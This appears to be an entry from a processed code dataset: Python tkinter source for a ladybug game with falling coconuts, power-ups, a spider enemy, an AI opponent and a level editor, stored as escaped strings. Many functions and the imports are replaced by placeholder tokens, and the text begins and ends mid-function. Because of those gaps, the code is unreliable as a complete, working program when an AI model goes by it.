data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\n<function token>\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\n<function token>\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\n<function token>\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n 